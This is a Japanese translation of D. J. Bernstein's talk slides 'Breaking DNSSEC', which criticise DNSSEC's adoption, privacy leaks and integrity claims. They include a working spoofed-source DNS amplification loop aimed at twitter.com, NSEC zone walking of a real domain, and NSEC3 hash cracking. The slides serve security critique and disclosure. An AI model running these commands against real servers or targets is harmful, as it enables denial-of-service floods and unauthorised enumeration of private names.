DNSSECを破る

("Breaking DNSSEC" 日本語訳)

D. J. Bernstein
University of Illinois at Chicago

1993年11月 Galvin:

「ある朝、DNSワーキンググループにおけるDNSセキュリティチームのメンバーがヒューストンのIETFで会った」

1994年2月 Eastlake-Kaufman、 dns-security メーリングリストでの数ヶ月の議論のあと「DNSSEC」プロトコル仕様が作られる。

DNSSECの調査研究に、百万ドル単位の政府予算が使われる:
たとえば DISA から BIND company へ、 NSF から UCLA へ、 DHS から Secure64 Software Corporation へ。

現在のインターネットには、およそ 80000000個の *.com ドメインがある。

2008年8月20日: DNSSEC開発者の調査では、116個の *.com ドメインが DNSSEC署名を持っていることが判明した。

同月初旬、Dan Kaminsky が DNSに対する様々な攻撃方法を解説する。

2008～2009年: DNSSECへのさらなる投資; 「6分でわかるDNSSEC」「サルでもわかるDNSSEC」など。

サルでもわかるDNSSEC:

“私、DNSSECをインストールしてからシートベルトしてません”

これほど DNSSEC を推進したのだから、成功するにちがいない。調査結果をみてみよう。

$ wget -m -k -I / secspider.cs.ucla.edu

$ cd secspider.cs.ucla.edu

$ ls ./*--zone.html | xargs grep -l HREF=.com--zone | xargs grep -l 'DNSSEC depl.*Yes' | wc

2009年8月7日: 274個の *.com ドメインが DNSSEC署名を持っていた。

去年の116個と比べてみよう。2倍以上だ。ワオ、指数的増加!

それと .com以外のサーバもある。 .com だけが世界のすべてじゃない。
すべての DNSSEC サーバ設置数: 全世界で 941 IPアドレス。

では攻撃者の視点から、これらのサーバに対する攻撃を実地でやってみよう。

vix.com は DNSSECゾーンのひとつである。 vix.com のサーバはこれだ:

$ dig +short ns vix.com
ns1.isc-sns.net.
ns2.isc-sns.com.
ns3.isc-sns.info.
ns.sjc1.vix.com.
ns.sql1.vix.com.

$ dig +short ns.sjc1.vix.com.
192.83.249.98
$

このサーバに www.vix.com のアドレスを問い合わせてみる:

$ dig www.vix.com @192.83.249.98
...
www.vix.com. 3600 IN CNAME vix.com.
vix.com. 3600 IN A 204.152.188.231
vix.com. 3600 IN NS ns.sjc1.vix.com.
vix.com. 3600 IN NS ns3.isc-sns.info.
vix.com. 3600 IN NS ns1.isc-sns.net.
vix.com. 3600 IN NS ns2.isc-sns.com.
vix.com. 3600 IN NS ns.sql1.vix.com.
ns.sql1.vix.com. 3600 IN A 204.152.184.135
ns.sql1.vix.com. 3600 IN AAAA 2001:4f8:3::9
ns.sjc1.vix.com. 3600 IN A 192.83.249.98
$

ふむ、DNSSECはどこだ? ドキュメントをチェックしてみよう。

およ、DNSSEC はクライアントが要求しないと反応しないんだって。

$ drill -D www.vix.com @192.83.249.98
...
www.vix.com. 3600 IN CNAME vix.com.
www.vix.com. 3600 IN RRSIG CNAME 5 3 3600 20090823200302 20090525200302 63066 vi
x.com. fKVECbivqwh4JAKraMpm8jiJua/6u+tJPxm5SI9l8Cr2mJpr38c6YC4f/I1Ovsb3KM3h55xUy
B9+7XCGlW9Ga8ZCimu5k9qAsY7E6MBnCGDj/FjSdu+vBr4Ks4m8X04P2LzfTkgHtWbQznwCw6mnUPVMy
7eExV/d85RS0UQ6Or4= ;{id = 63066}
vix.com. 3600 IN A 204.152.188.231
vix.com. 3600 IN RRSIG A 5 2 3600 20090823200302 20090525200302 63066 vix.com. I
x7TTjtziRfNeeXIpRsZLQZMgyTx6ZMfomju7QTIBkfxZw2uzZr0wnuImN/zz74ebU8r3CjD2nAdm5OBy
1qN0P/nufH4bwTXcQ+3uaI3xYcYiEuldU2AQmanTwhQBQlUPf+I2KuC6/S5fOywFABMAv+SvlSp0Dchg
8PhR3DXZsc= ;{id = 63066}
vix.com. 3600 IN NS ns1.isc-sns.net.
vix.com. 3600 IN NS ns3.isc-sns.info.
vix.com. 3600 IN NS ns2.isc-sns.com.
vix.com. 3600 IN NS ns.sql1.vix.com.
vix.com. 3600 IN NS ns.sjc1.vix.com.
vix.com. 3600 IN RRSIG NS 5 2 3600 20090823200302 20090525200302 63066 vix.com. 
maYmGHUXfwIHHNIVzINf07j3q9tZnuHK1A82nJK4L2dvGx48bgVI6d5FGFbtfsakTk5TU0cW7F6T4UL0
9+OfPrR9Hs3fqjAc0Uysn/6WpdKTZfm93F8/Q2p9tbT3h0utV4nRGOZcqc2ORH0QyDFyOXYIBdS48M6f
pqYPTYPZvZw= ;{id = 63066}
ns.sql1.vix.com. 3600 IN A 204.152.184.135
ns.sql1.vix.com. 3600 IN AAAA 2001:4f8:3::9
ns.sjc1.vix.com. 3600 IN A 192.83.249.98
ns.sql1.vix.com. 3600 IN RRSIG A 5 4 3600 0090823200302 20090525200302 63066 vix
.com. aIBb3PMmZ6idtCWAGB44ux+Eua8MIhwA94F5Cdkm1XvPuYN6UNGa081CoXeO+ClJLWJ7R7GJqv
F5Lu1kDVKwOIokEbHSfkl9FKCbJUF9De2SHVr9bDB2Ag6vPrHrvXyZmhmFqJrQ3ff5zLm691KcDuZ71n
W9YTNdMjd8rF3H3Ao= ;{id = 63066}
ns.sql1.vix.com. 3600 IN RRSIG AAAA 5 4 3600 20090823200302 20090525200302 63066
 vix.com. obrgR/zXrkh19hwgO/dSR8Ig1rypdzXmjC7+yB0cXuTOducXtH681O/yeiGTfN2Q564mX+
7x1yQvdS2YRq0XQVsFHw+7HMiyTDZIftgwlAzwA0WcSljUpV1BbCCKvd7etSL7WwotEscked9us0ZCnK
3NMGca269uO0cqqElC1EI= ;{id = 63066}
ns.sjc1.vix.com. 3600 IN RRSIG A 5 4 3600 20090823200302 20090525200302 63066 vi
x.com. jUKKmOtqeSYR6DzwAkj2Y3H29NalCak8KBgSCQwxV4s6GjaPDWwcHxGepRsAxWl1ILsFEJ1zm
cgUw1oq7tuvddpcon12qb0sRWeC3vXC7fyE4T5xLMzlUyInVoq6QyY/4QkwFekyKbIrpdHhxdoIe6Z9R
xApbKD67vPCJkjOzbw= ;{id = 63066}
$

ワオ、これは沢山のデータだ。さぞ強い暗号にちがいない!

$ tcpdump -n -e host 192.83.249.98 &

は、パケットサイズを表示する:
drill は 82バイトの IPパケットを vix.com の DNSサーバに送り、 1303バイトの IPパケットを受けとる。

もうすこし DNSSEC のデータをみよう:

$ drill -D any vix.com @192.83.249.98

は、78バイトの IPパケットを送り、 3つのIPフラグメントからなる合計 3113バイトを受けとる。

もうすこしデータを集めてみよう。 DNSSEC サーバの一覧を作ってみる:

awk '
 /^Zone <STRONG>/ { z = $2 
   sub(/<STRONG>/,"",z)
   sub(/<\/STRONG>/,"",z)
 }
 /GREEN.*GREEN.*GREEN.*Yes/ {
   split($0,x,/<TD>/)
   sub(/<\/TD>/,"",x[5])
   print z,99+length(z),x[5]
 }
' secspider*/*--zone.html > secsp.out

各サーバに一回 DNSSEC 要求を送る:

mkdir -p data
sort -k3 -k2 secsp.out | uniq -f2 | while read z n ip do
  dig +dnssec +ignore +tries=1 +time=1 any $z @$ip > data/$ip
done

全部で 77118バイトが送られ、 2526996バイトを受けとった。

これらの要求をすべて応答を見ずに送れるだろうか? (egressフィルタされていないと仮定する)

ifconfig eth0:1 168.143.162.116
mkdir -p data
sort -k3 -k2 secsp.out | uniq -f2 | while read z n ip do
  dig -b 168.143.162.116 +dnssec +ignore +tries=1 +time=1 any $z @$ip &
done

168.143.162.116 はうちのデータ収集用マシンかって?

いいえ: twitter.com です。

いま送ったのは 77118バイト。世界じゅうの 941台の DNSSECサーバは、 2526996 バイトを twitter.com に返したはず。

これを毎秒5回、200箇所の攻撃サイトからやる。
攻撃サイトは 3Mbps の回線を使っている。
DNSSEC サーバは 22Mbps の回線を使っている。
twitter.com には 20000Mbps の負荷がかかり、パンクする。

RFC 4033 には、こう書かれている:

「DNSSEC はサービス拒否攻撃に対する保護を提供するものではありません」

RFC 4033 には、こうは書かれていない:

「DNSSEC は遠隔攻撃が可能な二重砲身式ショットガンで、インターネットにおける最悪の DDoS 増幅器です」

今回はふれないこと:
他のタイプの DoS 攻撃、たとえば DNSSECの宣伝には、サーバ側の CPU時間のコストはゼロである、と書かれている。私たちが実際に消費できるサーバの CPU時間はいったいいくらなのだろうか?

では DNSSEC の応答をより詳しく見てみよう。

$ drill -D nonexistent.clegg.com @192.153.154.127
...
mail.clegg.com. 300 IN NSEC
wiki.clegg.com. CNAME RRSIG NSEC
...

この NSEC は、 mail.clegg.com と wiki.clegg.com の間には名前が存在しないことを示している。

foo.clegg.com などを試してみよう。数回のクエリのあと、clegg.com の完全な一覧が得られた:
_jabber._tcp, _xmpp-server._tcp, alan, alvis, andrew, brian, calendar, dlv, googleffffffffe91126e7, home, imogene, jennifer, localhost, mail, wiki, www.

clegg.com の管理者は、DNS のゾーン転送を禁止している -- しかし、DNSSEC をインストールしたことにより同じデータを漏らしてしまっている。

この管理者が「6分でわかる DNSSEC」の著者ですと!?!?!?

これが「NSECウォーキング」だ。

1999年の DNSSEC仕様にはこう書いてある:

「DNS上のデータは公開されているものであり、 DNSはすべての問い合わせ側に対して同一の応答を返すというのは、 DNSの設計哲学の一部です」

RFC 4033 にはこう書かれている:

「DNSSEC は秘匿性を提供しません。... DNSSEC は悪意のある人々がゾーン上のすべての名前を列挙できるようになっています。... これは DNS自身に対する攻撃ではありません」

ウソ→「このような DNSSEC の失敗は、 NSEC3 (規約案、2008年) によって修復できる」

ホント→「DNSSEC+NSEC3 は、これまでの DNS よりもはるかに早くプライベートな情報を漏らしてしまう」

NSEC3の情報漏洩はユーザに直接の被害を与えるものではないが、これではセキュリティとはいえない。
単なる客寄せのための口実だ。

DNSSEC+NSEC3 を破るにはどうするか:

サーバーになにか名前を尋ねる。その応答をみると、サーバ上に存在する名前のハッシュ値がわかる。

別の名前を推測してハッシュを計算し、それが合致するかどうかをみる。

もし、そのハッシュがこれまでわかった範囲に入っていない場合は、その名前をサーバに尋ねる。これはほんの数回しか起こらない。

n個の名前をすべて破るためには: n回の問い合わせをサーバに送り、あとはハッシュを多数推測すればよい。

しばらくの間、私は 9台のコンピュータ (2.4GHz Core 2 Quad CPU を9台; www.win.tue.nl/cccc/ の一部) を使い、遊びで NSEC3 を破ってみた。

これらは 1日に 5800000000000個のハッシュを推測できる。 (NSEC3 の繰り返し回数は2回である、 150回の繰り返しであれば、これは約23倍ほど遅くなっていただろう)

これと同じ速度は、 GTX 295 GPU 一台でも達成できる。

2009年6月24日: FISL10の第1日目、 Frederico Neves はチャレンジを発表した。 DNSSEC の漏洩から、実際に *.sec3.br の名前を発見できる人はいるか?

2009年6月27日: FISL10の最終日、わたしは 26個の名前のうち、23個のハッシュを DNSSEC+NSEC3 を利用して計算できたことを発表した。例: douglas, pegasus, rafael, security, unbound, while42, zz--zz.

Eindhoven の Tanja Lange の助力に感謝する。

RFC 5155: ハッシュの推測は

「オリジナルの NSEC RR をすべて列挙するよりもはるかにコストがかかります」

-- あなたの名前のうち、私の最初の 5800000000000回の推測の中に入っていないものはいくつだろうか?

RFC 5155:

「そのような攻撃は、可能性のある名前をすべて問い合わせるというネームサーバ自身への攻撃として使われることもありえます」

-- 100000Mbps を送れるんですか?

RFC 5155:

「それは明らかに、より検出可能でしょう」

これまでのまとめ:

DNSSEC は、DNS の利便性を上げるのにはまったく貢献しない。

DNSSEC は、トンでもないレベルの DDoS増幅を可能にし、インターネットの利便性に損害を与える。

DNSSEC は、DNS の秘匿性を上げるのにはまったく貢献しない。

DNSSEC は、NSEC3があってさえ、プライベートな DNSデータを漏洩する。

どうしてこれが「セキュリティ」なのだろうか?

答え: DNSSEC は DNS の正真性を提供するといわれているから。

2009年6月2日火曜日:

「.ORG は DNSSEC でゾーンが署名された最初のオープンな TLD になりました。... 今日、私たちは .ORG コミュニティのオンラインにおけるセキュリティを高めるための重要な段階に到達しました。私たちはドメインネームセキュリティ拡張 (DNSSEC) によって私たちのゾーンを成功裏に署名した、最初のオープンな汎用トップレベルドメインとなったのです。いまのところ、.ORG ゾーンはこの必要なセキュリティ機能を実装した最大のドメインレジストリとなっています」

「.ORG ゾーンが『署名された』とは、どういうことでしょうか? ゾーンに署名するのは、私たちの DNSSEC テストにおける最初の段階です。これで、私たちは .ORG ゾーンファイルの信頼できるデータを暗号学的に署名しはじめます。このプロセスはゾーンに新しいレコードを追加し、それは身元の正当性と、データの正真性の検証を可能にします」

暗号! 信頼! 検証! 正当性! 正真性! なんかスゴそう!

これであとは新しい .org の公開鍵を私の DNS ソフトウェアに設定するだけだ。
.orgのサーバは DNSSEC で署名しているのだから、もはやこれらのサーバのデータを偽造するのは不可能なはずだ!

...そうかな?

では、この「正真性」とやらを攻撃者の観点から見てみよう。 DNSSEC レコードを偽造するにはどうすればよいだろうか?

署名は回避できる -- DNSSEC 実装のバグを発見すれば。 DNSSEC は多数のオプションと混乱する部分が多くあり、しばしばそのセキュリティを台無しにした長いバグの歴史をもっている。

2009年: BINDの緊急アップグレード:
マイナーなソフトウェアのバグが原因で、 DNSSEC の DSA署名はつねに簡単に偽造できるようなものになっていた。

署名をくり返し使うこともできる。

攻撃者は vix.com の DNSSEC 署名を調べておく。

vix.com の場所が変わって、新しい IPアドレスになったとき、 DNS レコードも変わる。

攻撃者は古いアドレスを買い、古い DNS 署名を使って (これは 30日間は有効)、古い DNS レコードの値を返す。署名の検証をうまくすりぬけ、まんまとメールを盗むことに成功!

署名を暗号解読することもできる。

.org の署名は 1024ビットの RSA署名だ。

2003年: Shamir-Tromer らの結論

「1024ビットの RSA は、すでに大企業やボットネットを使って突破可能。 1千万ドル: 1年に1つの鍵。 1億2000万ドル: 1ヶ月に1つの鍵。」

2003年: RSA Laboratories は「2010年になるまえに」 2048ビット鍵への移行を勧告。 2007年: NIST も同様の勧告。

2009年3月: 「DNSSEC 運用のコツ」原稿いわく

「1024ビットの鍵を破った人は誰もいません。ほとんどのゾーンは、あと10年ほどは 1024ビットの鍵で大丈夫です」

-- ちっぽけなコンピュータのクラスタを使っている大学チームにとっては、1024ビットの鍵を解読したと宣言するまでに何年もかかるだろう。
これが『安全』ってことなのだろうか?

もっとも簡単かつ強力な攻撃:
署名は無視できる。

攻撃者が .org からのパケットを偽造し、同じ DNSSEC 署名をもつが、その NS+A レコードを、攻撃者のサーバを指すように変更したとする。

真実: DNSSEC による『検証』ではこの違いはわからない。この署名は、NS+Aレコードについては何も言っていないからだ。偽造した情報が受け入れられる。

では .org は何に署名したのか?

よくあるドメインのひとつ mwisc.org の署名はこういっている「.org は、ハッシュ値 1b39ggevfp3b72r9r901o1osqddn4ben と 1bfadvmpj1fqlfvdv8eksiokfheo7km9 の範囲にデータがあるかもしれませんが、まだそのどれにも署名していません」

mwisc.org は、その範囲のハッシュをもっている。

いまや .org は、何千ものこれらの意味のない署名をもっている。
これが『必要なセキュリティ機能』を実装している .org だ。

(おわり)

翻訳: Yusuke Shinyama